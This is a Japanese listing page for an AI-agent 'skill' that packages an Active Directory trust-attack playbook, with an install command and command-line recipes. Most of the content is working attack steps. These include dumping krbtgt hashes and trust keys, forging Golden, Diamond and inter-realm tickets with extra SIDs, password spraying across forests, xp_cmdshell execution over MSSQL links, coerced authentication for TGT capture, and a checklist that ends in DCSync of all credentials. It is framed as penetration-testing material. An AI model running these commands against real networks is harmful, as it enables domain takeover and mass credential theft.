mcpField
A
ad-trust-attack

ad-trust-attack

github.com/wgpsecセキュリティ1.8k42 回インストール4 日前に更新
リポジトリ

ad-trust-attack について

ad-trust-attackは、Active Directoryの信頼関係を列挙し、攻撃経路を評価するスキルです。高権限の認証情報を持つ環境でのドメイン間・フォレスト間テスト向けに、信頼の種類、方向、SIDフィルタリング別に手法を整理しています。

主な機能

  1. 01ドメインとフォレストの信頼関係の列挙
  2. 02信頼の方向、種類、SIDフィルタリングの分析
  3. 03子ドメインから親ドメインへの権限昇格経路
  4. 04一方向の信頼とフォレスト間の手法
  5. 05ツールの参照情報と検証チェックリスト

活用シーン

  1. 01複数ドメインやフォレスト環境の信頼境界の確認
  2. 02子ドメインの高権限資格情報を使った昇格経路の評価
  3. 03SIDフィルタリングに応じたテスト手法の選定

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill ad-trust-attack

インストール後、Claude Code で/ad-trust-attackを入力して読み込まれたか確認します。

同梱ファイルreferences/child-parent-escalation.mdreferences/cross-forest-attack.md

詳細

ドメイン信頼関係の攻撃

Active Directory の信頼関係を列挙して悪用し、ドメイン間およびフォレスト間の横方向の移動と権限昇格を実現します。

トリガー条件

  • 子ドメインの Domain Admin または krbtgt ハッシュを取得済みで、親ドメインへの権限昇格が必要
  • 列挙によってドメイン間/フォレスト間の信頼関係が見つかった
  • 対象環境が複数ドメインまたは複数フォレストのアーキテクチャを採用している
  • 信頼境界を越えた横方向の移動が必要

前提条件

  • 現在のドメインの高権限の認証情報(Domain Admin/krbtgt hash/信頼キー)
  • 信頼関係の列挙が完了しているか、信頼トポロジーが判明している
  • ツール:ticketer.py、raiseChild.py、secretsdump.py、lookupsid.py、Rubeus、ldeep、NetExec

Phase 1:信頼関係の列挙

ldeep ldap -u <USER> -p <PASSWORD> -d <DOMAIN> -s ldap://<DC> trusts
netexec ldap <DC_IP> -u '<USER>' -p '<PASSWORD>' -d '<DOMAIN>' -M enum_trusts
bloodhound-python -u <USER> -p <PASSWORD> -d <DOMAIN> -c Trusts
Get-DomainTrust                              # PowerView
Get-ForestTrust                              # 森林信任
nltest /domain_trusts /all_trusts            # Windows 原生
出力の読み取り方
フィールド意味
TrustDirection: Bidirectional双方向の信頼で、相互にアクセスできます
TrustDirection: Inbound相手がこちらを信頼しており、こちらから相手にアクセスできます
TrustDirection: Outboundこちらが相手を信頼しており、相手からこちらにアクセスできます
TrustAttributes: WITHIN_FORESTフォレスト内で、SID フィルタリングはありません
TrustAttributes: FOREST_TRANSITIVEフォレスト信頼で、SID フィルタリングがあります

Phase 2:信頼の種類と攻撃対象領域の分析

信頼の種類の早見表
信頼の種類方向SID フィルタリング主な攻撃方法
親子ドメイン (Parent-Child)双方向無効Golden Ticket + ExtraSid
ツリー ルート (Tree-Root)双方向無効Golden Ticket + ExtraSid
外部 (External)一方向有効外部グループのメンバーシップ/パスワードの再利用
フォレスト (Forest)双方向有効SID History(制限あり)/MSSQL Links
重要な信頼属性
属性値セキュリティ上の意味
WITHIN_FOREST0x20フォレスト内で、SID フィルタリングはありません
FOREST_TRANSITIVE0x08フォレスト信頼で、SID フィルタリングがあります
TREAT_AS_EXTERNAL0x40外部として扱われ、SID フィルタリングが有効になります
QUARANTINED_DOMAIN0x04ドメインが隔離され、SID フィルタリングが強制されます
SID フィルタリングの影響
信頼の種類ExtraSid 攻撃備考
フォレスト内 (WITHIN_FOREST)完全に使用可能Enterprise Admins (-519) が有効です
外部/フォレスト信頼RID > 1000 のみ既知の SID はフィルタリングされます
隔離ドメイン (Quarantined)非常に制限されますほぼすべてがフィルタリングされます

Phase 3:子ドメインから親ドメインへの権限昇格

基本原理:同一フォレスト内では SID フィルタリングがないため、子ドメインの krbtgt が発行するチケットに親ドメインの Enterprise Admins SID (-519) を注入できます。

3.1 必要な情報の取得
# 获取子域 SID
lookupsid.py <CHILD_DOMAIN>/<USER>:<PASSWORD>@<CHILD_DC> 0

# 获取父域 SID (Enterprise Admins = 父域SID + "-519")
lookupsid.py <CHILD_DOMAIN>/<USER>:<PASSWORD>@<PARENT_DC> 0

# 转储子域 krbtgt 哈希
secretsdump.py -just-dc-user '<CHILD_DOMAIN>/krbtgt' \
  '<CHILD_DOMAIN>/<USER>:<PASSWORD>@<CHILD_DC>'
3.2 Golden Ticket + ExtraSid
ticketer.py -nthash <KRBTGT_NTHASH> \
  -domain-sid '<CHILD_SID>' \
  -domain <CHILD_DOMAIN> \
  -extra-sid '<PARENT_SID>-519' \
  fakeadmin

export KRB5CCNAME=fakeadmin.ccache
secretsdump.py -k -no-pass <PARENT_DOMAIN>/fakeadmin@<PARENT_DC>
# Rubeus (AES256 更隐蔽)
Rubeus.exe golden /aes256:<KRBTGT_AES256> /user:Administrator \
  /domain:<CHILD_DOMAIN> /sid:<CHILD_SID> /sids:<PARENT_SID>-519 /nowrap
3.3 Diamond Ticket の変種

ゼロから偽造するのではなく、正規の TGT の PAC を変更して、一部の検知を回避します。

Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 \
  /groups:519 /sids:<PARENT_SID>-519 /krbkey:<KRBTGT_AES256> /nowrap
3.4 raiseChild.py による自動化
raiseChild.py -target-exec <PARENT_DC> '<CHILD_DOMAIN>/Administrator:<PASSWORD>'
raiseChild.py -target-exec <PARENT_DC> -hashes :<NTHASH> '<CHILD_DOMAIN>/Administrator'
3.5 Trust Ticket(インターレルム TGT)
# 转储信任密钥
secretsdump.py '<CHILD_DOMAIN>/Administrator:<PASSWORD>@<CHILD_DC>' | grep -i trust

# 伪造跨域 TGT
ticketer.py -nthash <TRUST_KEY_HASH> \
  -domain-sid '<CHILD_SID>' \
  -domain <CHILD_DOMAIN> \
  -spn krbtgt/<PARENT_DOMAIN> \
  fakeuser

export KRB5CCNAME=fakeuser.ccache
getST.py -k -no-pass -spn cifs/<PARENT_DC>.<PARENT_DOMAIN> <PARENT_DOMAIN>/fakeuser

詳細な手順と手法の比較 -> references/child-parent-escalation.md


Phase 4:一方向信頼の悪用

4.1 インバウンド信頼 (Inbound)

外部ドメインがこちらを信頼しており、こちらのユーザーは外部ドメインのリソースにアクセスできます。

# 查找外部域中的本域用户/组
Get-DomainForeignGroupMember -Domain <EXTERNAL_DOMAIN>
ConvertFrom-SID S-1-5-21-<MEMBER_SID>
# 跨域票据请求
Rubeus.exe asktgt /user:<USER> /domain:<DOMAIN> /aes256:<AES256> /nowrap
Rubeus.exe asktgs /service:krbtgt/<EXTERNAL_DOMAIN> /domain:<DOMAIN> \
  /dc:<DC> /ticket:<TGT_BASE64> /nowrap
Rubeus.exe asktgs /service:cifs/<EXTERNAL_DC> /domain:<EXTERNAL_DOMAIN> \
  /dc:<EXTERNAL_DC> /ticket:<REFERRAL_TICKET> /nowrap
4.2 アウトバウンド信頼 (Outbound)

こちらが外部ドメインを信頼しているため、信頼キーを取得してさらに悪用できます。

# 转储信任密钥
mimikatz lsadump::trust /patch
# DCSync 信任账户
secretsdump.py -just-dc-user '<EXTERNAL_DOMAIN>$' \
  '<DOMAIN>/Administrator:<PASSWORD>@<DC>'

# 使用信任账户身份进行 Kerberoast 等攻击
Rubeus.exe asktgt /user:<DOMAIN>$ /domain:<EXTERNAL_DOMAIN> /rc4:<TRUST_KEY> /nowrap

Phase 5:フォレスト間攻撃

シナリオ:フォレスト信頼で SID フィルタリングが有効なため、代替の攻撃経路が必要です。

5.1 SID History(制限あり)
# 在目标林找 RID > 1000 有价值组,创建 Golden Ticket 注入其 SID
ticketer.py -nthash <KRBTGT_HASH> \
  -domain-sid '<SOURCE_SID>' \
  -domain <SOURCE_DOMAIN> \
  -extra-sid '<TARGET_SID>-1111' \
  fakeuser

export KRB5CCNAME=fakeuser.ccache
smbclient.py -k -no-pass <TARGET_DOMAIN>/fakeuser@<TARGET_DC>
5.2 外部グループのメンバーシップ
Get-DomainForeignGroupMember -Domain <TARGET_FOREST>
Get-DomainForeignUser -Domain <TARGET_FOREST>
5.3 パスワードの再利用
netexec smb <TARGET_DC> -u '<USER>' -p '<PASSWORD>' -d '<TARGET_FOREST>'
netexec smb <TARGET_DC> -u users.txt -p passwords.txt -d '<TARGET_FOREST>'
5.4 MSSQL Linked Server
-- 枚举链接服务器
SELECT * FROM master..sysservers;

-- 在链接服务器上执行
EXEC ('SELECT SYSTEM_USER') AT [LINKED_SERVER];

-- 链式穿越
EXEC ('EXEC (''SELECT SYSTEM_USER'') AT [SECOND_LINK]') AT [FIRST_LINK];

-- 通过链接执行命令 (需 xp_cmdshell)
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER];
5.5 制約のない委任によるドメイン間攻撃
# 查找非约束委派 → 强制目标林 DC 认证 → 捕获 TGT
Get-DomainComputer -Unconstrained -Domain <SOURCE_DOMAIN>
Rubeus.exe monitor /interval:5 /nowrap /filteruser:<TARGET_DC>$
# 触发: PrinterBug / PetitPotam / DFSCoerce
Rubeus.exe ptt /ticket:<CAPTURED_TGT>
5.6 信頼をまたぐ ACL の悪用
Get-DomainObjectAcl -Domain <TARGET_FOREST> |
  Where-Object {$_.SecurityIdentifier -match 'S-1-5-21-<SOURCE_SID>'}

詳細な攻撃手法と実践例 -> references/cross-forest-attack.md


判断ツリー

[开始] 发现域信任关系 / 已获取子域 DA
    │
    ├─ 枚举: ldeep / NetExec / PowerView / BloodHound / nltest
    │
    ▼
[分析] 信任类型?
    │
    ├─ WITHIN_FOREST (父子域/树根) ───────────────────────┐
    │   └─ 无 SID 过滤                                     │
    │       ├─ 有 krbtgt ── Golden Ticket + ExtraSid(-519) ┤
    │       ├─ 需隐蔽 ──── Diamond Ticket ─────────────────┤
    │       ├─ 要快速 ──── raiseChild.py ──────────────────┤
    │       └─ 有信任密钥 ─ Trust Ticket ──────────────────┤
    │                                                       ▼
    │                                              获取父域 DA → DCSync
    │
    ├─ FOREST_TRANSITIVE (森林信任) ──────────────────────┐
    │   └─ 有 SID 过滤 (RID > 1000 可通过)                │
    │       ├─ RID>1000 组 ── SID History ────────────────┤
    │       ├─ 外部组成员 ── 已授权跨林访问 ──────────────┤
    │       ├─ 密码重用 ──── netexec 喷洒 ────────────────┤
    │       ├─ MSSQL 链接 ── xp_cmdshell ────────────────┤
    │       └─ 非约束委派 ── 跨林 TGT 捕获 ──────────────┤
    │                                                      ▼
    │                                              跨林访问
    │
    ├─ Inbound (对方信任我们) ────────────────────────────┐
    │   ├─ 查找外部组成员 ── ForeignGroupMember ──────────┤
    │   └─ 跨域票据请求 ──── Rubeus asktgt/asktgs ───────┤
    │                                                      ▼
    │                                              访问外部域
    │
    └─ Outbound (我们信任对方) ──────────────────────────┐
        ├─ 转储信任密钥 ──── lsadump::trust / DCSync ────┤
        └─ 信任账户登录 ──── Kerberoast 目标域 ──────────┤
                                                           ▼
                                                   目标域立足点

確認リスト

  • すべての信頼関係を列挙する(種類、方向、属性)
  • SID フィルタリングの状態を確認する(WITHIN_FOREST と FOREST_TRANSITIVE)
  • 必要な認証情報を取得する(krbtgt hash/信頼キー/DA パスワード)
  • 信頼の種類に応じて攻撃方法を選択する
  • ドメイン間/フォレスト間攻撃を実行し、アクセスを確認する
  • 対象ドメインで DCSync を実行し、すべての認証情報を取得する

よくある問題

ExtraSid 攻撃が失敗する
  1. フォレスト内信頼 (WITHIN_FOREST=0x20) であることを確認します。外部/フォレスト信頼では -519 がフィルタリングされます
  2. krbtgt hash が正しいこと、およびドメイン SID が一致していることを確認します
raiseChild.py が失敗する
  1. 子ドメインの DA 権限があり、DCSync を実行できることを確認します
  2. 親ドメイン DC へのネットワーク接続を確認します
  3. 手動で段階的に実行します:lookupsid -> secretsdump -> ticketer
フォレスト間の SID History が機能しない
  1. 対象グループの RID が 1000 より大きいことを確認します(既知の SID はフィルタリングされます)
  2. 信頼で SID History が有効になっていることを確認します(既定では無効です)

ツールの参考情報

ツール用途
ldeep / NetExec / BloodHound信頼関係の列挙と可視化
lookupsid.pyドメイン SID の照会
secretsdump.pykrbtgt/信頼キーのダンプ
ticketer.pyGolden Ticket/Trust Ticket
raiseChild.py子ドメインから親ドメインへの権限昇格の自動化
Rubeus / mimikatzWindows のチケット操作とキーのダンプ

コメント